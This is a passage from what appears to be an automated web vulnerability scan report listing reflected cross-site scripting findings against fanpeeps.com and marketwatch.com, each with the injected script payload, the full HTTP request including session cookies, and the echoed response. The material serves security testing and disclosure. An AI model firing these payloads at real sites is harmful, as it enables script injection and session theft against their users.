Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; rsi_csl=; rsi_segs=; mbox=check#true#1305367858|session#1305367797515-52119#1305369658; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 10:13:24 GMT
Server: Microsoft-IIS/6.0
X-Machine: SBK-MW04
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
X-Powered-By: ASP.NET
pragma: no-cache
Content-Length: 43358
Content-Type: text/html
Expires: Fri, 13 May 2011 10:12:24 GMT
Cache-control: False

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<HTML><HEAD><meta name="description" content="M
...[SNIP]...
tifying name, server, and channel on the next lines. */
s.hier1="MarketWatch,Not Found,Other,Error Page,http://www.marketwatch.com/404.asp404;http://www.marketwatch.com:80/api-video/get_video_info.asp21cdf";6c5435b28da?guid={7a591b4c-215b-4895-a64a-c793aeebb8a6}&fields=thumbnailurlsmall&cb=1534993"
s.pageName="Error Page"
s.server="www.marketwatch.com"
s.channel="MarketWatch"
s.prop1="Not Found"
s.prop2="Other"
...[SNIP]...

4.85. http://www.fanpeeps.com/ [action parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.fanpeeps.com
Path:	/

Issue detail

The value of the action request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 8f352><script>alert(1)</script>78a6f46f052 was submitted in the action parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?action=tweets8f352><script>alert(1)</script>78a6f46f052&pid=14&iid=4 HTTP/1.1
Host: www.fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://www.fanpeeps.com/?pid=14
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=9a60411f58fb3454c5f556257e253120; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.6.10.1305376380

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:34:08 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 101534

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...
<input type=hidden name=action value=tweets8f352><script>alert(1)</script>78a6f46f052>
...[SNIP]...

4.86. http://www.fanpeeps.com/ [action parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.fanpeeps.com
Path:	/

Issue detail

The value of the action request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload c860b'><script>alert(1)</script>29abf483c43 was submitted in the action parameter. This input was echoed as c860b\'><script>alert(1)</script>29abf483c43 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?action=tweetsc860b'><script>alert(1)</script>29abf483c43&pid=14&iid=4 HTTP/1.1
Host: www.fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://www.fanpeeps.com/?pid=14
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=9a60411f58fb3454c5f556257e253120; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.6.10.1305376380

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:34:08 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 101540

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...
<input type=hidden name=action value='tweetsc860b\'><script>alert(1)</script>29abf483c43'>
...[SNIP]...

4.87. http://www.fanpeeps.com/ [iid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.fanpeeps.com
Path:	/

Issue detail

The value of the iid request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload eb66e><script>alert(1)</script>fc611338e18 was submitted in the iid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?iid=2eb66e><script>alert(1)</script>fc611338e18&pid=14 HTTP/1.1
Host: www.fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://www.fanpeeps.com/?action=tweets&pid=14&iid=4
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=9a60411f58fb3454c5f556257e253120; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.7.10.1305376380

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:34:11 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 62410

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...
<input type=hidden name=idol value=2eb66e><script>alert(1)</script>fc611338e18>
...[SNIP]...

4.88. http://www.fanpeeps.com/ [iid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.fanpeeps.com
Path:	/

Issue detail

The value of the iid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9b419"><script>alert(1)</script>ab1641f8df6 was submitted in the iid parameter. This input was echoed as 9b419\"><script>alert(1)</script>ab1641f8df6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?iid=29b419"><script>alert(1)</script>ab1641f8df6&pid=14 HTTP/1.1
Host: www.fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://www.fanpeeps.com/?action=tweets&pid=14&iid=4
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=9a60411f58fb3454c5f556257e253120; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.7.10.1305376380

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:34:11 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 62423

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...
<a href="/?pid=14&idol=29b419\"><script>alert(1)</script>ab1641f8df6&action=tweets">
...[SNIP]...

4.89. http://www.fanpeeps.com/ [pid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.fanpeeps.com
Path:	/

Issue detail

The value of the pid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4cbf3"><script>alert(1)</script>4806a366db was submitted in the pid parameter. This input was echoed as 4cbf3\"><script>alert(1)</script>4806a366db in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?pid=144cbf3"><script>alert(1)</script>4806a366db HTTP/1.1
Host: www.fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://www.fanpeeps.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=9a60411f58fb3454c5f556257e253120; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.5.10.1305376380

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:34:00 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 18110

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...
<a href="?pid=144cbf3\"><script>alert(1)</script>4806a366db">
...[SNIP]...

4.90. http://www.fanpeeps.com/ [pid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.fanpeeps.com
Path:	/

Issue detail

The value of the pid request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 2d1d7><script>alert(1)</script>f3294fbacbe was submitted in the pid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?pid=142d1d7><script>alert(1)</script>f3294fbacbe HTTP/1.1
Host: www.fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://www.fanpeeps.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=9a60411f58fb3454c5f556257e253120; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.5.10.1305376380

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:34:00 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 18095

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...
<a rel=nofollow href=/?action=home&pid=-1&zpid=142d1d7><script>alert(1)</script>f3294fbacbe>
...[SNIP]...

4.91. http://www.marketwatch.com/Dockingbar/Dock/_AlertItem [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.marketwatch.com
Path:	/Dockingbar/Dock/_AlertItem

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6c56d'%3b41cfb76de42 was submitted in the REST URL parameter 2. This input was echoed as 6c56d';41cfb76de42 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /Dockingbar/Dock6c56d'%3b41cfb76de42/_AlertItem HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_c=w%3A1%7Cb%3A2%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; __g_u=314598747735047_1_0.01_0_5_1305799975264

Response

HTTP/1.1 404 Not Found
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNetMvc-Version: 3.0
X-Powered-By: ASP.NET
X-MACHINE: sbkdedtwebp01
Date: Sat, 14 May 2011 11:03:13 GMT
Content-Length: 50903

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...
<script type="text/javascript">
   // if present, canonical link is preferred
   var p = '/Dockingbar/Dock6c56d';41cfb76de42/_AlertItem';
   var cl = $('link[rel=canonical]');
   if(cl != undefined && cl.length >
...[SNIP]...

4.92. http://www.marketwatch.com/Dockingbar/Dock/_AlertItem [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.marketwatch.com
Path:	/Dockingbar/Dock/_AlertItem

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 314bf'%3bb227a982ee5 was submitted in the REST URL parameter 3. This input was echoed as 314bf';b227a982ee5 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /Dockingbar/Dock/_AlertItem314bf'%3bb227a982ee5 HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_c=w%3A1%7Cb%3A2%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; __g_u=314598747735047_1_0.01_0_5_1305799975264

Response

HTTP/1.1 404 Not Found
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNetMvc-Version: 3.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
X-MACHINE: sbkdfinwebp02
Date: Sat, 14 May 2011 11:03:48 GMT
Content-Length: 50968

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...
<script type="text/javascript">
   // if present, canonical link is preferred
   var p = '/Dockingbar/Dock/_AlertItem314bf';b227a982ee5';
   var cl = $('link[rel=canonical]');
   if(cl != undefined && cl.length >
...[SNIP]...

4.93. http://www.marketwatch.com/bg/api/Connect.ashx [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.marketwatch.com
Path:	/bg/api/Connect.ashx

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 10e11'%3b8180e7efad1 was submitted in the REST URL parameter 1. This input was echoed as 10e11';8180e7efad1 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

POST /bg10e11'%3b8180e7efad1/api/Connect.ashx HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
Origin: http://www.marketwatch.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_c=w%3A1%7Cb%3A2%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_cc=true; s_vnum=1307959980006%26vn%3D1; s_invisit=true; s_sq=%5B%5BB%5D%5D; refresh=off
Content-Length: 2

{}

Response

HTTP/1.1 404 Not Found
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
X-MACHINE: sbkdfpswebp03
Date: Sat, 14 May 2011 10:19:02 GMT
Content-Length: 50839

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...
<script type="text/javascript">
   // if present, canonical link is preferred
   var p = '/bg10e11';8180e7efad1/api/Connect.ashx';
   var cl = $('link[rel=canonical]');
   if(cl != undefined && cl.length >
...[SNIP]...

4.94. http://www.marketwatch.com/bg/api/Connect.ashx [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.marketwatch.com
Path:	/bg/api/Connect.ashx

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dbe05'%3b9bca35ec658 was submitted in the REST URL parameter 2. This input was echoed as dbe05';9bca35ec658 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

POST /bg/apidbe05'%3b9bca35ec658/Connect.ashx HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
Origin: http://www.marketwatch.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_c=w%3A1%7Cb%3A2%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_cc=true; s_vnum=1307959980006%26vn%3D1; s_invisit=true; s_sq=%5B%5BB%5D%5D; refresh=off
Content-Length: 2

{}

Response

HTTP/1.1 404 Not Found
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
X-MACHINE: sbkdfinwebp04
Date: Sat, 14 May 2011 10:19:26 GMT
Content-Length: 50862

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...
<script type="text/javascript">
   // if present, canonical link is preferred
   var p = '/bg/apidbe05';9bca35ec658/Connect.ashx';
   var cl = $('link[rel=canonical]');
   if(cl != undefined && cl.length >
...[SNIP]...

4.95. http://www.marketwatch.com/bg/api/Pickup.ashx [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.marketwatch.com
Path:	/bg/api/Pickup.ashx

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 576c0'%3b39ce4880832 was submitted in the REST URL parameter 1. This input was echoed as 576c0';39ce4880832 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

POST /bg576c0'%3b39ce4880832/api/Pickup.ashx HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
Origin: http://www.marketwatch.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_c=w%3A1%7Cb%3A2%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_cc=true; s_vnum=1307959980006%26vn%3D1; s_invisit=true; s_sq=%5B%5BB%5D%5D; refresh=off; rsi_csl=; rsi_segs=
Content-Length: 6314

c=%7B%22c%22%3A%22d71e124eb75a400681a0e3b95b460529%22%2C%22s%22%3A%2210.240.178.143%22%7D&m=%5B%7B%22h%22%3A%7B%22t%22%3A%22%2Fquotes%2Fcomstock%2F10w!i%3Adji%22%2C%22a%22%3A%22subscribe%22%7D%2C%22b%
...[SNIP]...

Response

HTTP/1.1 404 Not Found
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
X-MACHINE: sbkdfpswebp04
Date: Sat, 14 May 2011 10:19:49 GMT
Content-Length: 50914

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...
<script type="text/javascript">
   // if present, canonical link is preferred
   var p = '/bg576c0';39ce4880832/api/Pickup.ashx';
   var cl = $('link[rel=canonical]');
   if(cl != undefined && cl.length >
...[SNIP]...

4.96. http://www.marketwatch.com/bg/api/Pickup.ashx [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.marketwatch.com
Path:	/bg/api/Pickup.ashx

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 53699'%3b3aed18dbeed was submitted in the REST URL parameter 2. This input was echoed as 53699';3aed18dbeed in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

POST /bg/api53699'%3b3aed18dbeed/Pickup.ashx HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
Origin: http://www.marketwatch.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_c=w%3A1%7Cb%3A2%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_cc=true; s_vnum=1307959980006%26vn%3D1; s_invisit=true; s_sq=%5B%5BB%5D%5D; refresh=off; rsi_csl=; rsi_segs=
Content-Length: 6314

c=%7B%22c%22%3A%22d71e124eb75a400681a0e3b95b460529%22%2C%22s%22%3A%2210.240.178.143%22%7D&m=%5B%7B%22h%22%3A%7B%22t%22%3A%22%2Fquotes%2Fcomstock%2F10w!i%3Adji%22%2C%22a%22%3A%22subscribe%22%7D%2C%22b%
...[SNIP]...

Response

HTTP/1.1 404 Not Found
